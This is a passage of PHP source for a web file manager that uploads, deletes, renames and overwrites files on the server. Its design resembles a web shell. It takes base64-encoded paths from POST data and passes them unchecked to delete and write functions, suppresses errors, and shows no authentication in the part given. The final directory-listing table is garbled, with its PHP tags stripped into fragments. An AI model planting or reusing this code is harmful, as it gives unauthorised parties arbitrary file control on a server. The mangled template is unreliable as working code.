' . h($_SESSION['alert']) . ''; unset($_SESSION['alert']); } } /* ============================================================ FILE OPERATIONS ============================================================ */ function uploadFile($dir) { if (!isset($_FILES['file'])) return; $target = rtrim($dir, '/\\') . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { alert('Upload success'); } else { alert('Upload failed'); } } function deleteFile($path) { if (@unlink($path)) { alert('Delete success'); } else { alert('Delete failed'); } } function renameFile($old, $new) { $newPath = dirname($old) . '/' . $new; if (@rename($old, $newPath)) { alert('Rename success'); } else { alert('Rename failed'); } } function saveFile($path, $content) { if (file_put_contents($path, $content) !== false) { alert('File saved'); } else { alert('Save failed'); } } /* ============================================================ ACTION ROUTER (POST actions only; navigation is via GET) ============================================================ */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload if (isset($_POST['upload'])) { uploadFile($cwd); redirect($cwd); } // Delete (expects base64 encoded value) if (isset($_POST['delete'])) { $value = b64d($_POST['delete']); deleteFile($value); redirect($cwd); } // Rename (rename form posts rename + newname) if (isset($_POST['rename']) && isset($_POST['newname'])) { $old = b64d($_POST['rename']); $new = $_POST['newname']; renameFile($old, $new); redirect($cwd); } // Save edit if (isset($_POST['save']) && isset($_POST['file'])) { $file = b64d($_POST['file']); $content = isset($_POST['content']) ? $_POST['content'] : ''; saveFile($file, $content); redirect($cwd); } // Download handled later because it sends headers + exits } /* ============================================================ DIRECTORY HELPERS ============================================================ */ function formatSize($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } function perms($file) { $perms = @fileperms($file); if ($perms === false) return '---------'; $info = ($perms & 0x4000) ? 'd' : '-'; $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? 'x' : '-'; $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? 'x' : '-'; $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? 'x' : '-'; return $info; } function breadcrumb($path) { $parts = explode('/', trim($path, '/')); $build = ''; echo '
| Name | Size | Perms | Action |
|---|---|---|---|
| 📁 = h($d) ?> | — | = perms($cwd.'/'.$d) ?> | — |
| 📄 = h($f) ?> | = formatSize(@filesize($full)) ?> | = perms($full) ?> | Edit | Rename | Download | Delete |